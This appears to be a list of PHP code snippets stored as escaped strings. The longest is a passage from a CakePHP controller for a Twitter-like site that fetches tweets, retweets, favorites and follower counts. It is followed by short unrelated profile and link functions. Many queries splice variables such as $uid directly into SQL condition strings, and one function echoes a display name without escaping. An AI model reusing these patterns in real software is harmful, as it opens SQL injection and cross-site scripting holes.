users_profiles.lastname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.photo,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.handler,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.favorite,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.content_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.id ,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t count(favorites.favorite) as total_favorites\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t '),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'order'=>'tweets.modified DESC',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'joins'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('alias' => 'favorites',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'table' => 'favorites',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type' => 'left',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'foreignKey' => false,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions' => array('favorites.content_id = tweets.id\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ')\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('alias' => 'users_profiles',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'table' => 'users_profiles',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type' => 'left',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'foreignKey' => false, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions' => array('tweets.user_id = users_profiles.user_id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'conditions'=>array('OR'=>array(array('tweets.id IN('.$content_IDS.')'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'tweets.user_id ='.$uid.' AND\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t tweets.parent_id=0')),'group'=>'tweets.id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t );\n\t\t\t\n\t\t}\n\t\telse {\n\t\t\t\n\t\t\t$profile_tweets = ClassRegistry::init('tweets')->find('all', array('fields' => array('\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t tweets.tweet,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t tweets.id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t tweets.photo,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t tweets.created,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.firstname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.lastname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.photo,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.handler,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.favorite,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.content_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.id ,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t count(favorites.favorite) as total_favorites\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t '),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'order'=>'tweets.id DESC',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'joins'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('alias' => 'favorites',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'table' => 'favorites',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type' => 'left',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'foreignKey' => false,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions' => array('favorites.content_id = tweets.id '\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('alias' => 'users_profiles',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'table' => 'users_profiles', \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type' => 'left',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'foreignKey' => false,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions' => array('tweets.user_id = users_profiles.user_id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'conditions'=>array('tweets.user_id ='.$uid.' AND tweets.parent_id=0'),'group'=>'tweets.id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t );\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t}\n\n\t\t$this->set('profile_tweets',$profile_tweets);\n\t\t\n\t\t/*************Total tweets counts START***************/\n\t\t/*********************************** User Connections updates **********/\n\t\t$reqUser = ClassRegistry::init('connections')->find('all',array('fields'=>array('connections.friend_id,connections.user_id'),'conditions'=>array('(connections.user_id='.$uid.' OR connections.friend_id='.$uid.') AND connections.request=1')));\n\t\t\t\n\t\tif ($reqUser) {\n\t\t\tforeach ($reqUser as $rfid) {\n\t\t\t\tif ($rfid['connections']['friend_id'] != $uid){\n\t\t\t\t $result[] .= $rfid['connections']['friend_id'];\n\t\t\t\t }\n\t\t\t\t if ($rfid['connections']['user_id'] != $uid){\n\t\t\t\t $result[] .= $rfid['connections']['user_id'];\n\t\t\t \t}\n\t\t\t}\n\t\t}\n\t\t\t/*********************************** User followers updates **********/\n\t\t\t\n\t\t$user_Following_Updates = ClassRegistry::init('users_followings')->find('all',array('fields'=>array('users_followings.following_id'),'conditions'=>array('users_followings.user_id='.$uid.' AND users_followings.status=2')));\n\t\tif ($user_Following_Updates) {\n\t\t\tforeach ($user_Following_Updates as $user_Following_Row) {\n\t\t\t\t $result[] .= $user_Following_Row['users_followings']['following_id']; \n\t\t\t}\n\t\t}\n\t\t/* To remove dublicate entry from array*/\n\t\t$result = array_unique($result);\n\t\tif($result){\n\t\t\tif (sizeof($result)>1) {\n\t\t\t \t$result =@implode(',',$result);\n\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t\tforeach ($result as $key=>$value) {\n\t\t\t\t\t\t\t\t\t$result = $value;\n\t\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$result =$result.\",\".$uid;\n\t\t}\n\t\telse {\n\t\t\t\n\t\t\t$result = $uid;\t\n\t\t}\n\n\t\t\n\t\tif ($result) {\n\t\t\t$total_tweets = ClassRegistry::init('tweets')->find('all', array('fields' => array('tweets.id'),'conditions'=>array(array('tweets.user_id IN ('.$result.')'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'tweets.parent_id =0'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t\t\t$this->set('total_tweets',sizeof($total_tweets));\n\t\t}\n\t\t\n\t\t/*************Total tweets counts END***************/\n\t\t\n\t\t/***retweet by whome***/\n\t\tif ($result) {\n\t\t\t$tweets_retweeted_byUser = ClassRegistry::init('tweets')->find('all', array('fields' => array('\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t tweets.parent_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t tweets.id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t tweets.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.firstname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.lastname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.photo,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.tags,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.handler\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t '\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'joins'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('alias' => 'users_profiles',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'table' => 'users_profiles',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'type' => 'left',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'foreignKey' => false,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'conditions' => array('users_profiles.user_id = tweets.user_id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'order'=>'tweets.id DESC',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions'=>array(array('tweets.user_id IN ('.$result.')'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'tweets.parent_id !=0 AND \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t tweets.retweet=1'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t );\n\t\t\t\t$this->set('tweets_retweeted_byUser',$tweets_retweeted_byUser);\n\t\t}\n\t\t\n\t\t/*********************************** Retweeted tweets by user **********/\n\t$retweeted_tweets = ClassRegistry::init('tweets')->find('all',array('fields'=>array('\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttweets.parent_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttweets.id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\ttweets.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tusers_profiles.firstname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tusers_profiles.lastname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tusers_profiles.handler,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tusers_profiles.user_id\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'joins'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('alias' => 'users_profiles',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'table' => 'users_profiles',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'type' => 'left',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'foreignKey' => false,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'conditions' => array('tweets.user_id = users_profiles.user_id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions'=>array('tweets.parent_id !=0 AND tweets.status=2'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t);\n\t\t$this->set('retweeted_tweets',$retweeted_tweets);\n\n\t\t\n\t\t\t\t/*********************************** Total reply on each tweet **********/\t\n\t\t$tweets_comments_count= ClassRegistry::init('Tweet_comment')->find('all', array('fields'=> array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'Tweet_comment.content_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t count(Tweet_comment.content_id) as commenttotal\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t '),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions'=>array('Tweet_comment.comment_type=\"tweets\"'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'order'=>'Tweet_comment.id DESC',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'group'=>'Tweet_comment.content_id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t );\n\t\t\n\t $this->set('tweets_comments_count',$tweets_comments_count);\n\t\t\n\t\t /*********************************** favorites on tweet page **********/\n\t\t$favorites_on_Tweet = ClassRegistry::init('favorites')->find('all', array('fields'=>array('favorites.user_id,favorites.favorite,favorites.content_id'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'order'=>'favorites.id',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'conditions'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'favorites.content_type=\"tweets\" AND favorites.user_id='.$uid)));\n\n\t\t$this->set('favorites_on_Tweet',$favorites_on_Tweet);\n\t\t\n\t\t\t\t\t\t\t/*user friends start*/\t\n\t$reqUser = ClassRegistry::init('connections')->find('all',array('fields'=>array('connections.friend_id,connections.user_id'),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions'=>array('(connections.user_id='.$uid.' OR connections.friend_id='.$uid.') AND connections.request=1')));\n\t\t\t\n\t\tforeach ($reqUser as $rfid) {\n\t\t\t\tif ($rfid['connections']['friend_id'] != $uid) {\n\t\t\t\t\t$comResult[] .= $rfid['connections']['friend_id'];\n\t\t\t\t}\n\t\t\t\tif ($rfid['connections']['user_id'] != $uid) {\n\t\t\t\t\t$comResult[] .= $rfid['connections']['user_id'];\n\t\t\t\t} \n\t\t}\n\t\t/*user friends end*/\n\t\tif($comResult){\n\t\t\tif (sizeof($comResult)>1) {\n\t\t\t \t$result =@implode(',',$comResult);\n\t\t\t}\n\t\t\telse {\n\t\t\t\t\tforeach ($comResult as $key=>$value) {\n\t\t\t\t\t\t\t\t\t$result = $value;\n\t\t\t\t\t\t}\t\n\t\t\t}\n\t\t\t$result =$result.\",\".$uid;\n\t\t}\n\t\telse {\n\t\t\t$result = $uid;\t\n\t\t}\n\t\t\t\t\n\t\t\t\t$user_tweet_comments = ClassRegistry::init('Tweet_comment')->find('all', array('fields' => array('\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t Tweet_comment.tweet_comment,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t Tweet_comment.content_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t Tweet_comment.created,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t Tweet_comment.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t Tweet_comment.id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.firstname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.lastname,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.photo,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.handler,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.user_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t users_profiles.tags,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.favorite,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.content_id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.id,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t favorites.user_id\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t '),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'order'=>'Tweet_comment.id DESC',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'joins'=>array(\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('alias' => 'favorites',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'table' => 'favorites',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type' => 'left',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'foreignKey' => false, \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions' => array('Tweet_comment.id = favorites.content_id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t array('alias' => 'users_profiles',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'table' => 'users_profiles',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'type' => 'left',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'foreignKey' => false,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t'conditions' => array('Tweet_comment.user_id = users_profiles.user_id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t)\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ),\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t 'conditions'=>array('Tweet_comment.comment_type = \"tweets\"'),'group' => 'Tweet_comment.id'\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t )\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t );\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t$this->set('user_tweet_comments',$user_tweet_comments);\n\t\t\n\t\t/*Tweet count for current user*/\n\t$tweets_count_added_user= ClassRegistry::init('tweets')->find('all',\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\tarray('conditions'=>array('tweets.user_id='.$uid.' AND tweets.status=2')));\n\t\t\n\t$this->set('tweets_count_added_user',sizeof($tweets_count_added_user));\n\n\t\t\t\t\t/************************************** To show user following and followers ***********************/\n\t\t\t\t$userFollowings = ClassRegistry::init('users_followings')->find('all' ,array('fields'=>array('users_followings.id,users_followings.status, count(users_followings.following_id) as total_following'),'conditions'=>array('users_followings.user_id='.$uid.' AND users_followings.following_type=\"users\" AND users_followings.status=2')));\n\t\t\n\t\t$userFollows = ClassRegistry::init('users_followings')->find('all' ,array('fields'=>array('users_followings.id,users_followings.status ,count(users_followings.user_id) as total_follow'),'conditions'=>array('users_followings.following_id='.$uid.' AND users_followings.following_type=\"users\" AND users_followings.status=2')));\n\t\t\n\t\t\n\t\t$userFollowingsbyYou = $userFollowings[0][0];\n\t\t$userFollowingsbyYou = $userFollowingsbyYou['total_following'];\n\t\t$this->set('following',$userFollowingsbyYou);\n\t\t\n\t\t$userFollowYou = $userFollows[0][0];\n\t\t$userFollowYou = $userFollowYou['total_follow'];\n\t\t$this->set('followers',$userFollowYou);\n\t\t$x_users_profile = $this->getCurrentUser($uid);\t\n\t\t$this->set('userName',$x_users_profile);\n\t\t\n\t\t}\n\t}", "function theme_profile_following($profile_pid) {\n\t// note: Favourites are viewable by everyone!\n\t\n\techo \"\n\t<div class=\\\"total-posts\\\">\n\t\t<span>0</span> Following\n\t</div>\n\t\";\n}", "function comment_author_link($comment_id = 0)\n {\n }", "protected function prepare_links(\\WP_User $user, $item)\n {\n }", "function get_the_author_link()\n {\n }", "function yz_edit_author_link_url( $link, $author_id ) {\n return bp_core_get_user_domain( $author_id );\n}", "function getLink() {\n return new Hyperlink($this->getName(),\"/user/$this->id\",'userlink');\n }", "public function show_links( $user ){\n\t?>\n\n\t\t<h3>ICS Feed Links</h3>\n\n\t\t<table class=\"form-table\">\n\n\t\t\t<tr>\n\t\t\t\t<th><label for=\"company\">Links</label></th>\n\n\t\t\t\t<td>\n\t\t\t\t\t<p><a href=\"<?php echo $this->get_subscribe_link(); ?>\">All Posts</a></p>\n\t\t\t\t\t<p><a href=\"<?php echo $this->get_subscribe_link( array( 'author' => $user->ID ) ); ?>\"><?php echo $user->display_name; ?> Posts Only</a></p>\n\t\t\t\t\t<span class=\"description\">Copy the link (right click and copy link address) and subscribe to the link in your calendar program.</span>\n\t\t\t\t</td>\n\t\t\t</tr>\n\n\t\t</table>\n\n\t<?php\n\t}", "function getLoanprofileUrl($userid, $loanid){\n\tglobal $database;\n\t$username = $database->getUserNameById($userid);\n\tif(empty($username)) {\n\t\tLogger(\"uname_empty_url_rewrite_loanprofile\".$_SERVER['HTTP_REFERER'].\" \".$userid.\" \".$loanid);\n\t}\n\t$username = str_replace(' ','-',$username);\n\t$url = \"microfinance/loan/$username/$loanid.html\";\n\treturn $url;\n}", "function get_edit_user_link($user_id = \\null)\n {\n }", "protected function userFollowing($data) {\n\t\t$user_id \t\t\t= $data->user_id;\n\t\t$userfollowings \t= $this->app_model->userFollowingData($user_id); //user gif data\n\t\tif($userfollowings){\n\t\t\t$i=0;\n\t\t\tforeach($userfollowings as $userfollowing){\n\t\t\t\t$userdata \t= $this->app_model->getUserdataById($userfollowing['network_id']); // user details\n\t\t\t\tif ($userdata) {\n\t\t\t\t\t$profile['userdata'][$i]['network_id'] \t= $userdata['id'];\n\t\t\t\t\t$profile['userdata'][$i]['username'] \t= $userdata['username'];\n\t\t\t\t\t$profile['userdata'][$i]['profile_pic'] = $userdata['profile_pic'];\n\t\t\t\t\t$profile['userdata'][$i]['tag_line'] \t= $userdata['tag_line'];\n\t\t\t\t} else {\n\t\t\t\t\t//$profile['userdata'] = array();\n\t\t\t\t}\n\t\t\t\t$i++;\n\t\t\t}\n\t\t} else{\n\t\t\t//$profile['userdata'] \t= array();\n\t\t\t$this->falseResponse('Sorry you are not following anyone.');\n\t\t}\n\t\t$this->trueResponse($profile,'success',$encode = true); \n\t}", "function user_user_profile($CI,$user){\n\t\t$CI->user->head($user);\n\t}", "function getUserProfileUrl($userid){\n\tglobal $database;\n\t$url = 'index.php?p=12&u='.$userid;\n\t$username = $database->getUserNameById($userid);\n\t$username = str_replace(' ','-',$username);\n\tif(empty($username)) {\n\t\tLogger(\"uname_empty_url_rewrite\".$_SERVER['HTTP_REFERER']);\n\t}else {\n\t\t$url = 